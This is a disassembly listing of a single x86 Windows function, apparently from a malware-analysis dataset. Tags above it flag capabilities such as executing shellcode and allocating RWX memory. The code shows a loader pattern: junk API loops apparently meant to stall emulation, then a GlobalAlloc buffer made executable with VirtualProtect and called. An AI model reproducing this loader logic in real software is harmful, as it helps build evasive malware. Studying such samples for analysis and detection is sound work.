Function at 0x809740
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x80c9f6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2868
call fcn.0040dfd0
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e308
jge 0x80978e
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9a5e4e
jle 0x8097aa
cmp dword [esp + 0x14], 0xbf1ed8
je 0x8097aa
cmp dword [esp + 0x3c], 0x9175f68
jne 0x8097b3
inc esi
cmp esi, 0x98a00
jl 0x809780
cmp dword [0x2975aa4], 0xcf8
jne 0x8098b6
push edi
push edi
push edi
call fcn.0040559b
add esp, 0xc
push 0x4035e0
push edi
call fcn.0040559b
push edi
push edi
push edi
push edi
call fcn.00405258
push edi
call fcn.00405560
add esp, 0x1c
push edi
call fcn.0040511d
add esp, 4
push edi
call fcn.00405590
add esp, 4
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x2884], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x809826
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x809840
push 0x403b2c
call fcn.00404adb
cmp esi, 0xf
jbe 0x809853
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.004048f0
jmp 0x809860
cmp esi, edi
jne 0x809862
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x80989d
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x80987c
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.0040c180
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x809899
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x8098b0
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00405658
add esp, 4
push edi
call fcn.0040550e
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_AllocateUserPhysicalPages]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x408
jne 0x8098e3
mov eax, 0x5d1
add dword [0x2975aa4], eax
cmp dword [0x2975aa4], 3
jne 0x809907
push 0
call edi
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x20]
push eax
push 0
call ebx
push 0
lea ecx, [esp + 0x7c]
push ecx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x8098d0
mov edx, dword [0x2975aa4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x82b834], eax
mov eax, dword [0x2975aa4]
xor esi, esi
test eax, eax
je 0x8099a1
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceExA]
cmp eax, 0xfe
jne 0x80996a
push 0
call ebx
call ebp
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
lea ecx, [esp + 0x1084]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
call fcn.00809430
mov eax, dword [0x2975aa4]
cmp eax, 0x29
jne 0x80999c
lea edx, [esp + 0x1c]
push edx
push 0
push 0x4035f0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
push 0
push 0
call edi
mov eax, dword [0x2975aa4]
inc esi
cmp esi, eax
jb 0x809941
cmp eax, 0x70
jne 0x809a9f
push 0x403658
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x403698
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0x4036d8
push 0
push 0x403748
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea eax, [esp + 0x1078]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea ecx, [esp + 0x87c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0x40379c
push 0x4037b8
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call edi
call edi
push 0x403810
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
lea edx, [esp + 0x1c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
push 0
lea eax, [esp + 0x1880]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea ecx, [esp + 0x7c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call ebx
push 0x403850
push 0x403940
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0x403978
call esi
mov eax, dword [0x2975aa4]
mov esi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
mov dword [esp + 0x14], 0x9682ab
nop
cmp eax, 3
jne 0x809af0
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x1884]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea ecx, [esp + 0x78]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x2975aa4]
cmp eax, 0xdf
jne 0x809bfe
push 0
lea edx, [esp + 0x107c]
push edx
push 0
call esi
lea eax, [esp + 0x1c]
push eax
push 0x4039a0
push 0
call edi
xor eax, eax
lea ecx, [esp + 0x28]
push ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call ebp
push 0x403a20
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea edx, [esp + 0x24]
push edx
push 0
lea eax, [esp + 0x1880]
push eax
push 0
push 0
call ebx
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0x403a48
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x403ac0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea edx, [esp + 0x87c]
push edx
push 0x403ac8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x38]
push 0
push edx
mov dword [esp + 0x3c], 0
call fcn.0040b590
add esp, 0xc
push 0
lea eax, [esp + 0x34]
push eax
push 0x403b0c
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x2975aa4]
dec dword [esp + 0x14]
jne 0x809ac0
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
nop
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x809c20
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x2975aa4], 0x222
jne 0x809c50
push 0
call esi
dec edi
jne 0x809c40
mov edx, dword [0x2975aa4]
mov eax, dword [0x82b834]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push edx
push eax
mov byte [0x826aa0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.008096f0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
mov ebx, 0xba
cmp dword [0x2975aa4], ebx
jne 0x809c9b
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x809cad
add dword [0x82b834], 0
inc esi
cmp esi, 0x1605a
jl 0x809c86
call fcn.00809690
cmp dword [0x2975aa4], 0xc30
jne 0x809d78
lea edx, [esp + 0x1878]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [esp + 0x78]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea ecx, [esp + 0x207c]
push ecx
push 0
push 0x403b18
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea edx, [esp + 0x24]
push edx
push 0
lea eax, [esp + 0x884]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x107c]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x30]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov ecx, dword [esp + 0x287c]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret